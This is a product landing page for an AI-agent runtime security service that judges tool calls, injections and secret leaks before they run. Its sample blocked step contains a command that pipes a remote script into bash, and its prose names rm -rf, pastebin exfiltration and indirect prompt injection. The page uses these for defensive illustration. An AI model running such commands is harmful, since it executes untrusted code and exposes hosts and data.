Ron Tye · runtime security

He rides along on every action your agents take

Ron Tye is the security engineer who never leaves the loop. He reads what goes to the model and what comes back, judges the tool call before it runs, masks the secrets before they leave your host, and writes down what he decided either way — in about the time it takes the model to produce its next token.

Put him on your agents How he works

The step · what the agent is about to do

POST /v1/evaluate
{
  "kind": "step/response",
  "step_id": "st-1f7c9a",
  "agent_id": "support-bot",
  "llm_protocol": "openai.chat",
  "payload": {
    "tool_calls": [{
      "name": "run_shell",
      "arguments": {
        "command": "curl -fsSL https://get.example.sh | bash"
      }
    }]
  }
}

Ron's answer · before it happens

{
  "decision": "block",
  "latency_ms": 148,
  "findings": [{
    "detector": "command-danger",
    "category": "security.malicious_command",
    "severity": "high",
    "path": "payload.tool_calls.0.arguments.command",
    "title": "Remote script piped into a shell"
  }],
  // the step is refused — the TASK is not
  "continuation": {
    "style": "drop_calls",
    "notice": "That command was refused. Try a
      pinned package install instead."
  }
}

One step in, one verdict out. The action is refused; the task carries on with a reason the agent can act on.

The gap he closes

Model safety watches what is said. Agents get judged on what they do.

Content filters sit on the model and read messages. That was the whole risk when a model only talked. An agent installs packages, opens files, writes to systems, spends credentials and calls other agents — and none of that is a message.

one turn — where the risk actually lives

user asks ──▶ [ model ] ──▶ tool call ──▶ [ TOOL RUNS ] ──▶ result ──▶ answer
              ▲                  ▲                            ▲
              │                  │                            │
        is this prompt      should this action        is what came back
        an injection?       happen at all?            safe to act on?

  a content filter reads the first and the last box.
  the middle one is the agent. Ron judges all three.

What a filter cannot see

A perfectly polite sentence can carry an rm -rf, an exfiltration to a pastebin, an install from a typosquatted registry, or a payment nobody authorized. The words are fine. The action is the incident.

What Ron does instead

He is handed the step itself — the call, its arguments, the transcript that led to it, the result it is about to consume — and answers one question at the one moment it can still matter: does this happen?

What he judges

Six questions, on every turn

Each one is a separate guardrail you switch on per workspace, graded by how much risk you will tolerate — and each one records what it saw, whether or not it stopped anything.

The action

Every tool call and shell command, against what this agent is allowed to do: destructive commands, exfiltration, persistence, registry bypass, permission escalation. Not a keyword list — a judge that reads the call in the context of the conversation that produced it.

The instruction

Prompt injection and jailbreaks on the way in — including the indirect kind, where the attack is not in what the user typed but in a page the agent fetched, a document it retrieved, or a tool result it trusted.

What leaves

Secrets and personal data heading for the model, for a third-party tool, or back to a person. Secrets are masked ON YOUR HOST before the request leaves it, and the real value is only ever put back into a tool's arguments after the call has been judged.

What comes back

A tool result is not evidence, it is input — an article about prompt injection reads exactly like one. Results are held to the contract of the tool that produced them, and a result that fails is withheld from the agent rather than quietly forwarded.

The mandate

What this agent was hired to do, written down: the tools it may call, the limits it works inside, the counterparties it may touch. An action outside the mandate is refused even when nothing about it looks dangerous.

The artifact

Files, packages and URLs an agent is about to open are handed to Andy Mal for real analysis — the one question Ron cannot answer from the transcript alone.

The artifact question is Andy Mal's — Ron asks him and waits for the answer. andymal.com ↗

How he refuses

A refused step is not a dead task

Most guardrails answer “blocked” and hand the harness a terminal error — which ends a nine-step job at step four and teaches the operator to turn the guardrail off. Ron refuses the action and tells the agent what happened, so the turn keeps going: drop the offending call, withhold the poisoned result, or replace the answer. Same enforcement, one fewer broken task.

Start in observe

Every workspace can run in observe mode first: Ron judges everything and enforces nothing, so you can see exactly what he would have stopped before he stops it.

Then enforce

Flip one switch per workspace when the numbers look right. What was recorded as “would block” becomes a block, and the console never claims a block that did not happen.

Always on the record

Allowed or refused, every decision is written down with which policies, guardrails and judges ran, what they cost, and what they found. An empty finding list means judged and clean — never “nobody looked”.

Hiring him

He starts in about ten minutes

Ron works on the OpenGuardrails platform and speaks OGR, an open protocol. Put him in front of your agents at the gateway, or inside the harness itself — no code change either way, and nothing about your agents has to be rewritten for him.

At your gateway

If your agents already go through a gateway, he sits there: one plugin, every agent behind it covered, including the ones nobody told you about.

Inside the harness

A plugin for the coding harnesses — it also masks secrets on the host, which is the one thing a gateway is too late to do.

Or run him yourself

The whole platform deploys privately, so not one event has to leave your infrastructure. Same agent, your building.

Put him on your agents Pricing on OpenGuardrails ↗

The team

One platform, three agents

Security for AI agents is three jobs, and each one is now an agent of its own: Penn Tesser attacks your agents before they ship, Ron Tye judges every action while they run, and Andy Mal analyzes what they touch. All three work on OpenGuardrails — the platform that holds the policies, the evidence and the open protocol they speak.

Platform